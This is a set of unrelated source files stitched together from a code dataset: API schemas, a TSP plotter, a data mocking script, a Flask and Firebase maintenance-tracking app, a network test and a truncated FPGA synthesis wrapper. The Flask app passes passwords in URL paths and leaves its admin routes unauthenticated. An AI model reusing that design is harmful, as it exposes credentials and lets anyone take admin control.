{\n \"default\": True,\n \"type\": \"boolean\",\n },\n },\n },\n },\n (\"variables_with_resolve\", \"PUT\"): {\n \"json\": DefinitionVariablesSource,\n },\n (\"variables_without_resolve\", \"DELETE\"): {\n \"json\": DefinitionDeleteVariables,\n },\n (\"variables_without_resolve\", \"GET\"): {\n \"args\": DefinitionNoParams,\n },\n (\"variables_without_resolve\", \"PUT\"): {\n \"json\": DefinitionVariablesSource,\n },\n}\n\nfilters = {\n (\"ansible_inventory\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"patternProperties\": {\n \"^.+\": {\n \"anyOf\": [\n {\n \"type\": \"string\",\n },\n {\n \"type\": \"null\",\n },\n {\n \"type\": \"number\",\n },\n {\n \"type\": \"boolean\",\n },\n {\n \"type\": \"integer\",\n },\n {\n \"type\": \"array\",\n },\n {\n \"type\": \"object\",\n },\n ],\n },\n },\n },\n },\n },\n (\"devices\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionDevicesPaginated,\n },\n },\n (\"hosts_id\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionsHostId,\n },\n },\n (\"hosts_id\", \"PUT\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionsHostId,\n },\n },\n (\"hosts_id\", \"DELETE\"): {\n 204: {\n \"headers\": None,\n \"schema\": None,\n },\n },\n (\"hosts_labels\", \"DELETE\"): {\n 204: {\n \"headers\": None,\n \"schema\": None,\n },\n },\n (\"hosts_labels\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionsLabel,\n },\n },\n (\"hosts_labels\", \"PUT\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionsLabel,\n },\n },\n (\"hosts\", \"POST\"): {\n 201: {\n \"headers\": None,\n \"schema\": DefinitionsHost,\n },\n },\n (\"hosts\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": paginated_resource(\"hosts\", DefinitionsHost),\n },\n },\n (\"cells_id\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionsCellId,\n },\n },\n (\"cells_id\", \"PUT\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionsCellId,\n },\n },\n (\"cells_id\", \"DELETE\"): {\n 204: {\n \"headers\": None,\n \"schema\": None,\n },\n },\n (\"cells\", \"POST\"): {\n 201: {\n \"headers\": None,\n \"schema\": DefinitionsCell,\n },\n },\n (\"cells\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": paginated_resource(\"cells\", DefinitionsCell),\n },\n },\n (\"regions\", \"POST\"): {\n 201: {\n \"headers\": None,\n \"schema\": DefinitionsRegion,\n },\n },\n (\"regions\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": paginated_resource(\"regions\", DefinitionsRegion),\n },\n },\n (\"regions_id\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionsRegionId,\n },\n },\n (\"regions_id\", \"PUT\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionsRegionId,\n },\n },\n (\"regions_id\", \"DELETE\"): {\n 204: {\n \"headers\": None,\n \"schema\": None,\n },\n },\n (\"clouds\", \"POST\"): {\n 201: {\n \"headers\": None,\n \"schema\": DefinitionsCloud,\n },\n },\n (\"clouds\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": paginated_resource(\"clouds\", DefinitionsCloud),\n },\n },\n (\"clouds_id\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionsCloudId,\n },\n },\n (\"clouds_id\", \"PUT\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionsCloudId,\n },\n },\n (\"clouds_id\", \"DELETE\"): {\n 204: {\n \"headers\": None,\n \"schema\": None,\n },\n },\n (\"projects\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": paginated_resource(\"projects\", DefinitionProject),\n },\n },\n (\"projects\", \"POST\"): {\n 201: {\n \"headers\": None,\n \"schema\": DefinitionProject,\n },\n },\n (\"users\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": paginated_resource(\"users\", DefinitionUser),\n },\n },\n (\"users\", \"POST\"): {\n 201: {\n \"headers\": None,\n \"schema\": DefinitionUser,\n },\n },\n (\"projects_id\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionProject,\n },\n },\n (\"projects_id\", \"DELETE\"): {\n 204: {\n \"headers\": None,\n \"schema\": None,\n },\n },\n (\"users_id\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionUser,\n },\n },\n (\"users_id\", \"DELETE\"): {\n 204: {\n \"headers\": None,\n \"schema\": None,\n },\n },\n (\"network_devices\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": paginated_resource(\"network_devices\",\n DefinitionNetworkDeviceId),\n },\n },\n (\"network_devices\", \"POST\"): {\n 201: {\n \"headers\": None,\n \"schema\": DefinitionNetworkDeviceId,\n },\n },\n (\"network_devices_id\", \"DELETE\"): {\n 204: {\n \"headers\": None,\n \"schema\": None,\n },\n },\n (\"network_devices_id\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionNetworkDeviceId,\n },\n },\n (\"network_devices_labels\", \"DELETE\"): {\n 204: {\n \"headers\": None,\n \"schema\": None,\n },\n },\n (\"network_devices_labels\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionsLabel,\n },\n },\n (\"network_devices_labels\", \"PUT\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionsLabel,\n },\n },\n (\"network_devices_id\", \"PUT\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionNetworkDeviceId,\n },\n },\n (\"networks\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": paginated_resource(\"networks\", DefinitionNetwork),\n },\n },\n (\"networks\", \"POST\"): {\n 201: {\n \"headers\": None,\n \"schema\": DefinitionNetwork,\n },\n },\n (\"networks_id\", \"DELETE\"): {\n 204: {\n \"headers\": None,\n \"schema\": None,\n },\n },\n (\"networks_id\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionNetworkId,\n },\n },\n (\"networks_id\", \"PUT\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionNetworkId,\n },\n },\n (\"network_interfaces\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": paginated_resource(\"network_interfaces\",\n DefinitionNetworkInterface),\n },\n },\n (\"network_interfaces\", \"POST\"): {\n 201: {\n \"headers\": None,\n \"schema\": DefinitionNetworkInterface,\n },\n },\n (\"network_interfaces_id\", \"DELETE\"): {\n 204: {\n \"headers\": None,\n \"schema\": None,\n },\n },\n (\"network_interfaces_id\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionNetworkInterfaceId,\n },\n },\n (\"network_interfaces_id\", \"PUT\"): {\n 200: {\n \"headers\": None,\n \"schema\": DefinitionNetworkInterfaceId,\n },\n },\n (\"variables_with_resolve\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": {\n \"variables\": DefinitionVariablesSource,\n },\n },\n },\n },\n (\"variables_with_resolve\", \"PUT\"): {\n 200: {\n \"headers\": None,\n \"schema\": {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": {\n \"variables\": DefinitionVariablesSource,\n },\n },\n },\n },\n (\"variables_with_resolve\", \"DELETE\"): {\n 204: {\n \"headers\": None,\n \"schema\": None,\n },\n },\n (\"variables_without_resolve\", \"DELETE\"): {\n 204: {\n \"headers\": None,\n \"schema\": None,\n },\n },\n (\"variables_without_resolve\", \"GET\"): {\n 200: {\n \"headers\": None,\n \"schema\": {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": {\n \"variables\": DefinitionVariablesSource,\n },\n },\n },\n },\n (\"variables_without_resolve\", \"PUT\"): {\n 200: {\n \"headers\": None,\n \"schema\": {\n \"type\": \"object\",\n \"additionalProperties\": False,\n \"properties\": {\n \"variables\": DefinitionVariablesSource,\n },\n },\n },\n },\n}\n","sub_path":"craton/api/v1/schemas.py","file_name":"schemas.py","file_ext":"py","file_size_in_byte":46179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"27371132","text":"import numpy as np\r\nimport tsplib95\r\nimport matplotlib.pyplot as plt\r\n\r\ndef get_coordinates(paths, problem):\r\n x = list()\r\n y = list()\r\n if paths is None:\r\n x = list(p[0] for p in problem.node_coords.values())\r\n y = list(p[1] for p in problem.node_coords.values())\r\n return x,y\r\n else:\r\n for path in paths:\r\n first = path[0]\r\n for node in path:\r\n point = problem.node_coords[node]\r\n x.append(point[0])\r\n y.append(point[1])\r\n point = problem.node_coords[first]\r\n x.append(point[0])\r\n y.append(point[1])\r\n yield x,y\r\n\r\ndef plotTSP(problem, paths=None, filename=\"\"):\r\n plt.clf()\r\n data =list()\r\n colors = [\"red\", \"blue\"]\r\n if paths is not None:\r\n for x,y in get_coordinates(paths, problem):\r\n data.append((x,y))\r\n for d, color in zip(data,colors):\r\n plt.plot(d[0], d[1], color)\r\n plt.scatter(data[0][0],data[0][1])\r\n if filename != \"\":\r\n plt.savefig(filename)\r\n else:\r\n plt.show()\r\n\r\n","sub_path":"Implementation/plotTSP.py","file_name":"plotTSP.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"68586242","text":"import argparse\nfrom vin_gen import Vin\nfrom incident_gen import IncidentType\nfrom vehicle_gen import Vehicle\nfrom file_path import locate_file\nimport pandas as pd\nimport random\n\n\nclass PostSalesReport:\n \"\"\"\n To generate raw data based on original dataset\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Instantiate vin class, incident class, vehicle class \n and set path for the output file.\n \"\"\"\n self.vin = Vin()\n self.incident = IncidentType()\n self.vehicle = Vehicle()\n self.dstn = locate_file('source_data/data.csv')\n\n def _generate_records(self):\n \"\"\"\n Generate instances for a single vehicle identified by its VIN.\n Instances per VIN is limited to 10. \n The first instance is always 'I', which means initial sale.\n Instances 'A' (accidents) and 'R' (repairs) make up the rest of the instances per vin \n determined by random number.\n\n Returns\n ----------\n str: all records per VIN concatenated\n \"\"\"\n # limit number of instances per vehicle to 10\n instances_per_vin = random.randint(2, 10)\n\n # the number of 'A' and 'R' incidents combined is equal to\n # the number of instances per VIN minus one initial sale instance of that VIN\n incidents_per_vin = instances_per_vin - 1\n\n new_records = ''\n # initial sale of a vehicle\n inc = self.incident.generate_incident(initial_sale=True)\n vin = self.vin.generate_vin()\n veh = self.vehicle.generate_vehicle_info()\n new_records += self._format_record(inc, vin, veh, initial_sale=True)\n\n # once intial sale and vehicle vin and make, model, year are generated,\n # the rest of instances are made up of random number of accidents and repairs\n while incidents_per_vin > 0:\n inc = self.incident.generate_incident()\n new_records += self._format_record(inc, vin, veh)\n incidents_per_vin -= 1\n\n return new_records\n\n def _format_record(self, incident, vin, vehicle, initial_sale=False):\n \"\"\"\n Concatenate generated vehicle information.\n\n Parameters\n ----------\n incident: str, randomly generated incident\n\n vin: str, randomly generated VIN\n\n vehicle: str, randomly generated vehicle information\n\n initial_sale: bool, optional, True or False, if True returns 'I' as default incident\n\n Returns\n ----------\n str: one instance per vin\n \"\"\"\n if initial_sale:\n return \"{},{},{},,\\n\".format(incident, vin, vehicle)\n return \"{},{},,,,,\\n\".format(incident, vin)\n\n def generate_data(self, num):\n \"\"\"\n Write new records to file. Allow user specified number of vehicles.\n\n Parameters\n ----------\n num: int, numbers of unique VINs to produce, user defined\n \"\"\"\n with open(self.dstn, 'w') as f:\n for _ in range(num):\n line = self._generate_records()\n f.write(line)\n\n\ndef parse_args():\n \"\"\"\n Allow user to set the number of unique vehicles.\n \"\"\"\n parser = argparse.ArgumentParser(\n prog=\"Post_Sale_Automobile_Analysis\")\n parser.add_argument('--gen_n', type=int, default=500,\n help='generate n unique vehicle vins')\n return parser.parse_args()\n\n\ndef main():\n args = parse_args()\n num_vins = args.gen_n\n psr = PostSalesReport()\n psr.generate_data(num_vins)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"data_mocking/scripts/data_mocking.py","file_name":"data_mocking.py","file_ext":"py","file_size_in_byte":3544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"321460673","text":"import sys\n\nfrom prj4_input import *\nfrom prj4_data import *\nfrom prj4_algorithm import *\n\ndef Project4(argc, argv):\n # input\n L = Layout(-1, -1, 0)\n if argc >= 2:\n infile = open(argv[1], 'r')\n L = InputFile(infile)\n else:\n L = InputConsole()\n # debug output\n print('input:')\n L.showCells()\n L.showLayout()\n print()\n\n # initial random placement\n RandomPlacement(L)\n # debug output\n print('initial:')\n L.showCells()\n L.showLayout()\n print()\n\n # simulated annealing\n L = SimulatedAnnealing(L, 500, 0.2, len(L.AllCells) * 3)\n # debug output\n print()\n print('final:')\n L.showCells()\n L.showLayout()\n print()\n\n# main\nif __name__ == '__main__':\n Project4(len(sys.argv), sys.argv)\n","sub_path":"Project 4 - Placement/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"101319493","text":"\nfrom flask import Flask, render_template,url_for\nfrom firebase_admin import db\nfrom data import lignes, techniciens,admins\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import auth\nfrom firebase_admin.auth import UserRecord\nimport uuid\nimport json\nimport os\nimport requests\nfrom datetime import datetime\nfrom datetime import timedelta\n\n\nfrom configparser import ConfigParser\nfile='config.ini'\nconfig =ConfigParser()\nconfig.read(file)\n\ncred = credentials.Certificate(config['database']['cred_variable'])\nfirebase_admin.initialize_app(cred,{\n 'databaseURL': config['database']['databaseURL']\n})\nrest_api_url = f\"https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword\"\nFIREBASE_WEB_API_KEY=config['database']['FIREBASE_WEB_API_KEY']\n\n# db.reference(\"/lignes\").set(lignes)\n# db.reference(\"/techniciens\").set(techniciens)\n# db.reference(\"/admins\").set(admins)\n\n\n\napp = Flask(__name__)\n# creating a user\n@app.route('/login/signup/////')\ndef create_user(mail,pswrd,t,nom,matricule):\n uuidOne = uuid.uuid1()\n if t=='user':\n \n newuid='u-'+str(uuidOne)\n # liste_tech=db.reference(\"/techniciens\").get()\n # for value in liste_tech.values():\n # if ( matricule in value):\n auth.create_user(email=mail, uid=newuid, password=pswrd)\n elif t=='admin':\n \n newuid='a-'+str(uuidOne)\n liste_ad=db.reference(\"/admins\").get()\n for value in liste_ad.values():\n if ( matricule in value):\n auth.create_user(email=mail, uid=newuid, password=pswrd)\n \n return render_template('login.html')\n#log in \ndef sign_in(email: str, password: str, return_secure_token: bool = True):\n payload = json.dumps({\n \"email\": email,\n \"password\": password,\n \"returnSecureToken\": return_secure_token\n })\n\n r = requests.post(rest_api_url,\n params={\"key\": FIREBASE_WEB_API_KEY},\n data=payload)\n return r.json()\n#technicien login\n@app.route(\"/login/user//\") \ndef login_user(mail,pw,return_secure_token:bool =True):\n result=sign_in(mail,pw,return_secure_token)\n print(result)\n try:\n result['error']['code']\n e='invalid passwoed or email'\n return render_template('login.html',error=e)\n except :\n if result['localId'][0]=='u':\n return render_template('technicien.html')\n elif result['localId'][0]=='a':\n return render_template('admin.html') \n#admin login\n@app.route(\"/login/admin//\") \ndef login_admin(mail,pw,return_secure_token:bool =True):\n result=sign_in(mail,pw,return_secure_token)\n print(result)\n try:\n result['error']['code']\n err=True\n return render_template('login.html',e=err)\n except :\n if result['localId'][0]=='a':\n return render_template('admin.html') \n elif result['localId'][0]=='u':\n return render_template('technicien.html')\n#loading login page \n@app.route(\"/\")\ndef login():\n return render_template('login.html')\n#loading signup page \n@app.route('/login/signup')\ndef signup():\n return render_template('signup.html')\n#loading technicien interfaace\n@app.route('/login/technicien')\ndef technicien():\n return render_template('technicien.html',key='choisir une ligne') \n#returning data\n@app.route('/technicien/')\ndef techlist(key):\n liste_ps=db.reference(\"/lignes/\"+key+\"/postes\").get()\n liste_pr=db.reference(\"/lignes/\"+key+\"/produits\").get()\n listet=db.reference(\"/techniciens\").get()\n return render_template('technicien.html',liste_ps=liste_ps, liste_pr= liste_pr, key=key,listet=listet)\n\n\n@app.route('/technicien////////////')\ndef interv(key,ps,pr,tech,des,piece,startdate,starttime,finishdate,finishtime,happ,rq):\n inter=db.reference(\"/intervention\").get() \n uuidOne = uuid.uuid1()\n try: \n inter[str(uuidOne)]={}\n except:\n inter={}\n inter[str(uuidOne)]={}\n inter[str(uuidOne)]['ligne']=key \n inter[str(uuidOne)]['poste']=ps\n inter[str(uuidOne)]['produit']=pr\n inter[str(uuidOne)]['intervenant']=tech\n inter[str(uuidOne)]['description']=des\n inter[str(uuidOne)]['piece']=piece\n FMT='%H:%M'\n d=datetime.strptime(finishtime,FMT)-datetime.strptime(starttime,FMT)\n if d.days<0:\n d=timedelta(days=0,seconds=d.seconds)\n print(d)\n v=True\n inter[str(uuidOne)]['duré']=str(d)\n inter[str(uuidOne)]['start_date']=startdate\n inter[str(uuidOne)]['start_time']=starttime\n inter[str(uuidOne)]['finish_date']=finishdate\n inter[str(uuidOne)]['finish_time']=finishtime\n inter[str(uuidOne)]['heure_appel']=happ\n inter[str(uuidOne)]['remarque']=rq\n db.reference(\"/intervention\").set(inter)\n return render_template('technicien.html',dure=d,valid=v)\n#loading admin interface \n@app.route('/login/admin')\ndef admin():\n return render_template('admin.html') \n#loading home page\n@app.route('/admin/home')\ndef home():\n return render_template('home.html') \n#loading techniciens page+ its data\n@app.route('/admin/home/techniciens')\ndef techniciens():\n Tliste=db.reference(\"/techniciens\").get()\n return render_template('techniciens.html',Tliste=Tliste) \n#loading lignes page+ its data\n@app.route('/admin/home/lignes')\ndef lignes():\n Lliste=db.reference(\"/lignes\").get()\n return render_template('lignes.html',Lliste=Lliste) \n# adding a new technicen\n@app.route('/admin/home/techniciens//') \ndef addtech(nom,matricule):\n liste_tech=db.reference(\"/techniciens\").get()\n liste_tech[nom]=matricule\n db.reference(\"/techniciens\").set(liste_tech)\n return render_template('techniciens.html')\n# deleting a technicien\n@app.route('/admin/home/techniciens/')\ndef deltech(deleted):\n liste_tech=db.reference(\"/techniciens\").get()\n liste_tech.pop(deleted) \n db.reference(\"/techniciens\").set(liste_tech)\n return render_template('techniciens.html') \n#adding a new ligne\n@app.route('/admin/home/lignes/add/') \ndef addligne(nomligne):\n liste_l=db.reference(\"/lignes\").get()\n liste_l[nomligne]={'postes':[''],'produits':['']}\n db.reference(\"/lignes\").set(liste_l)\n return render_template('lignes.html' )\n#deleting a ligne\n@app.route('/admin/home/lignes/delete/')\ndef delligne(deletedl):\n liste_l=db.reference(\"/lignes\").get()\n liste_l.pop(deletedl)\n db.reference(\"/lignes\").set(liste_l)\n return render_template('lignes.html' )\n #adding a poste \n@app.route('/admin/home/lignes/poste//')\ndef addposte(nl,np):\n liste_ps=db.reference(\"/lignes/\"+nl+\"/postes\").get()\n liste_ps.append(np)\n db.reference(\"/lignes/\"+nl+\"/postes\").set(liste_ps)\n return render_template('lignes.html' )\n # the list of choosen ligne \n@app.route('/admin/home/lignes/delp/')\ndef choice(c):\n listpost=db.reference('/lignes/'+c+'/postes').get()\n return render_template('lignes.html',listp=listpost)\n#deleting a poste\n@app.route('/admin/home/lignes/delp//')\ndef delposte(nline,npost):\n liste_ps=db.reference(\"/lignes/\"+nline+\"/postes\").get()\n liste_ps.remove(npost)\n db.reference(\"/lignes/\"+nline+\"/postes\").set(liste_ps)\n return render_template('lignes.html' ) \n #adding a produit \n@app.route('/admin/home/lignes/produit//')\ndef addproduit(nl1,np1):\n liste_pr=db.reference(\"/lignes/\"+nl1+\"/produits\").get()\n liste_pr.append(np1)\n db.reference(\"/lignes/\"+nl1+\"/produits\").set(liste_pr)\n return render_template('lignes.html' )\n # the list of choosen ligne \n@app.route('/admin/home/lignes/delprd/')\ndef choice1(c1):\n listproduit=db.reference('/lignes/'+c1+'/produits').get()\n return render_template('lignes.html',listpr= listproduit)\n#deleting a produit\n@app.route('/admin/home/lignes/delprd//')\ndef delproduit(nline1,npr):\n liste_pr=db.reference(\"/lignes/\"+nline1+\"/produits\").get()\n liste_pr.remove(npr)\n db.reference(\"/lignes/\"+nline1+\"/produits\").set(liste_pr)\n return render_template('lignes.html' ) \n\n#loading intervention page\n@app.route('/admin/home/intervention')\ndef intervention():\n return render_template('intervention.html')\n \ndef toDays(date):\n l=date.split(\"-\")\n return int(l[0])*365+int(l[1])*30+int(l[2])\n\n@app.route('/admin/home/intervention//')\ndef get_inter_bydate(finish,start):\n inter=db.reference(\"/intervention\").get()\n l,ps,pr,interv,des,piece,rq,dr,ds,df,ts,tf,hp=[],[],[],[],[],[],[],[],[],[],[],[],[]\n for element in inter.values(): \n\n if toDays(element['start_date'])>= toDays(start) and toDays(element['finish_date'])<=toDays(finish): \n \n l.append(element['ligne']) \n ps.append(element['poste'])\n pr.append(element['produit'])\n interv.append(element['intervenant'])\n des.append(element['description'])\n piece.append(element['piece'])\n rq.append(element['remarque'])\n dr.append(element['duré'])\n ds.append(element['start_date'])\n df.append(element['finish_date'])\n ts.append(element['start_time'])\n tf.append(element['finish_time'])\n hp.append(element['heure_appel'])\n val=True \n return render_template('intervention.html',v2=val,l=l,ps=ps,pr=pr,interv=interv,des=des,piece=piece,rq=rq,dr=dr,ds=ds,df=df,ts=ts,\n tf=tf,hp=hp)\n@app.route('/admin/home/profile/')\ndef profile():\n aliste=db.reference(\"/admins\").get()\n return render_template('profile.html',aliste=aliste) \n\n\n@app.route('/admin/home/profile//')\ndef addadmin(nom,matricule):\n liste_ad=db.reference(\"/admins\").get()\n liste_ad[nom]=matricule\n db.reference(\"/admins\").set(liste_ad)\n return render_template('profile.html')\n\n@app.route('/admin/home/profile/')\ndef deladmin(deleted):\n liste_ad=db.reference(\"/admins\").get()\n liste_ad.pop(deleted) \n db.reference(\"/admins\").set(liste_ad)\n return render_template('profile.html') \n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":10150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"299612213","text":"import unittest2\nimport time\nimport socket\nfrom psdash.net import NetIOCounters\n\n\nclass TestNet(unittest2.TestCase):\n def setUp(self):\n self.io_counter = NetIOCounters()\n\n def test_first_time_return(self):\n self.assertEqual(self.io_counter.get(), None)\n\n def test_one_update_gives_defaulted_rates(self):\n self.io_counter.update()\n name, c = self.io_counter.get().popitem()\n self.assertEqual(c['rx_per_sec'], 0)\n self.assertEqual(c['tx_per_sec'], 0)\n\n def test_two_updates_gives_rates(self):\n self.io_counter.update()\n # make sure to actually use the network a bit\n socket.getaddrinfo('example.org', 80)\n self.io_counter.update()\n\n self.io_counter.get().popitem() # pop lo interface\n name, c = self.io_counter.get().popitem()\n self.assertTrue(c['rx_per_sec'] > 0)\n self.assertTrue(c['tx_per_sec'] > 0)","sub_path":"tests/test_net.py","file_name":"test_net.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"462519905","text":"import os\nimport logging\nimport datetime\nimport shutil\nimport traceback\nimport re\nimport shlex\n\nfrom chiptools.common.filetypes import FileType\nfrom chiptools.common import exceptions\nfrom chiptools.wrappers import synthesiser\n\nlog = logging.getLogger(__name__)\n\n# Options file to be used by XFLOW\nXST_MIXED_OPT = '''\nFLOWTYPE = FPGA_SYNTHESIS;\nProgram xst\n-ifn _xst.scr; # input XST script file\n-ofn _xst.log; # output XST log file\n-intstyle xflow; # Message Reporting Style: ise, xflow, or silent\nParamFile: _xst.scr\n\"run\";\n\"-ifn \"; # Input/Project File Name\n\"-ifmt mixed\"; # Input Format\n\"-ofn \"; # Output File Name\n\"-ofmt ngc\"; # Output File Format\n\"-top \"; # Top Design Name\n\"-generics %(generics)s\";\n\"-p \"; # Target Device\nEnd ParamFile\nEnd Program xst\n'''\n\n\nclass Ise(synthesiser.Synthesiser):\n \"\"\"\n A ISE Synthesiser instance can be used to synthesise the files in the\n given Project using the XFLOW utility or individual Xst, Map, Par,\n Ngdbuild, Bitgen and Promgen tools provided in a base Xilinx ISE\n installation. The ISE synthesis flow can be set to either *'manual'* flow\n where the individual ISE binaries are called in sequence or *'xflow'*\n where the XFLOW utility is called (effectively the same thing).\n To use the ISE class it must be instanced with a Project and Options\n object passed as arguments, the *'synthesise'* method may then be called\n to initiate the synthesis flow.\n In addition to running the synthesis flow, the ISE Synthesiser instance\n also uses a Reporter instance to filter the synthesis log messages for\n important information relating to the build.\n\n When complete, the output files from synthesis will be stored in an\n archive bearing the name of the entity that was synthesised and a unique\n timestamp.\n\n \"\"\"\n name = 'ise'\n\n executables = [\n 'xwebtalk',\n 'promgen',\n 'xst',\n 'map',\n 'par',\n 'ngdbuild',\n 'bitgen',\n 'xflow'\n ]\n\n def __init__(self, project, user_paths, mode='manual'):\n \"\"\"\n Create a new ISE Synthesiser instance using the supplied Project and\n Options objects with the optionsal string parameter *mode* set to\n either 'manual' or 'xflow' to determine which ISE tool flow to use\n during synthesis.\n \"\"\"\n super(Ise, self).__init__(project, self.executables, user_paths)\n self.mode = mode\n self.xwebtalk = os.path.join(self.path, 'xwebtalk')\n self.promgen = os.path.join(self.path, 'promgen')\n self.xst = os.path.join(self.path, 'xst')\n self.map = os.path.join(self.path, 'map')\n self.par = os.path.join(self.path, 'par')\n self.ngdbuild = os.path.join(self.path, 'ngdbuild')\n self.bitgen = os.path.join(self.path, 'bitgen')\n self.xflow = os.path.join(self.path, 'xflow')\n\n @synthesiser.throws_synthesis_exception\n def makeProject(self, projectFilePath, fileFormat='mixed'):\n \"\"\"\n Generate a Xilinx ISE project file listing source files with their\n filetypes and libraries.\n ISE requires a project file to be written using the following format:\n\n .. code-block: xml\n\n \n\n Where *hdl_language* specifies whether the designated HDL source file\n is written in VHDL or Verilog, *compilation_library* specifies the\n library where the HDL is compiled and *source_file* specifies the path\n to the source file.\n This method generates an appropriate file from the project data that\n has been loaded into the ISE Synthesiser instance.\n \"\"\"\n log.info('Creating project file for ISE...')\n projectFileString = ''\n fileSet = self.project.get_synthesis_fileset()\n for libName, fileList in fileSet.items():\n for fileObject in fileList:\n # We could leave it to the synthesis tool to report missing\n # files, but handling them here means we can abort the process\n # early and notify the user.\n if os.path.isfile(fileObject.path):\n if fileObject.fileType == FileType.VHDL:\n if fileFormat == 'mixed':\n projectFileString += 'vhdl '\n elif fileObject.fileType == FileType.Verilog:\n if fileFormat == 'mixed':\n projectFileString += 'verilog '\n elif fileObject.fileType == FileType.SystemVerilog:\n if fileFormat == 'mixed':\n projectFileString += 'verilog '\n elif fileObject.fileType == FileType.NGCNetlist:\n base = os.path.dirname(projectFilePath)\n newPath = os.path.join(\n base,\n os.path.basename(fileObject.path)\n )\n if os.path.exists(newPath):\n log.warning(\n 'File already exists: ' + str(newPath) +\n ' and will be overwritten by: ' +\n str(fileObject.path)\n )\n # Copy the NGC into the local directory\n shutil.copyfile(fileObject.path, newPath)\n continue\n else:\n raise exceptions.SynthesisException(\n 'Unknown file type for synthesis tool: ' +\n fileObject.fileType\n )\n projectFileString += fileObject.library + ' '\n projectFileString += fileObject.path + '\\n'\n else:\n raise FileNotFoundError(fileObject.path)\n\n # Write out the synthesis project file\n log.debug('Writing: ' + projectFilePath)\n with open(projectFilePath, 'w') as f:\n f.write(projectFileString)\n log.info(\"...done\")\n\n @synthesiser.throws_synthesis_exception\n def synthesise(self, library, entity, fpga_part=None):\n \"\"\"\n Synthesise the target entity in the given library for the currently\n loaded project.\n The following steps are performed during synthesis:\n * Create synthesis directories\n * Generate an ISE project file\n * Generate an ISE UCF constraints file\n * Invoke XFLOW or the flow tools individually with appropriate command\n line arguments * Generate reports\n * Archive the outputs of the synthesis flow\n \"\"\"\n super(Ise, self).synthesise(library, entity, fpga_part)\n # make a temporary working directory for the synth tool\n import tempfile\n\n startTime = datetime.datetime.now()\n\n log.info(\n 'Turning Xilinx WebTalk off as it may prevent the removal of ' +\n 'temporary directories'\n )\n try:\n self.ise_webtalk_off()\n except:\n log.debug(traceback.format_exc())\n log.warning(\n 'Could not disable WebTalk, ' +\n 'you may encounter PermissionErrors ' +\n 'during temporary directory removal'\n )\n with tempfile.TemporaryDirectory(\n dir=self.project.get_synthesis_directory()\n ) as workingDirectory:\n log.info(\n 'Created temporary synthesis directory: ' + workingDirectory\n )\n synthName = (\n entity +\n '_synth_' +\n startTime.strftime('%d%m%y_%H%M%S')\n )\n archiveName = synthName + '.tar'\n synthesisDirectory = os.path.join(workingDirectory, synthName)\n os.makedirs(synthesisDirectory)\n if fpga_part is None:\n fpga_part = self.project.get_fpga_part()\n generics = self.project.get_generics().items()\n generics = (\n '{' +\n ' '.join(k + '=' + str(v) for k, v in generics) +\n '}'\n )\n projectFilePath = os.path.join(synthesisDirectory, entity + '.prj')\n exportDirectory = os.path.join(synthesisDirectory, 'output')\n reportDirectory = os.path.join(synthesisDirectory, 'reports')\n # Add user constraints and other source files\n self.addConstraints(entity, synthesisDirectory)\n self.makeProject(projectFilePath)\n if self.mode == 'xflow':\n try:\n # Run the flow\n self.ise_xflow(\n projectFilePath,\n fpga_part,\n entity,\n generics,\n synthesisDirectory,\n reportDirectory,\n exportDirectory\n )\n except:\n # Archive the outputs\n log.error(\n 'Synthesis error, storing output in error directory...'\n )\n self.storeOutputs(workingDirectory, 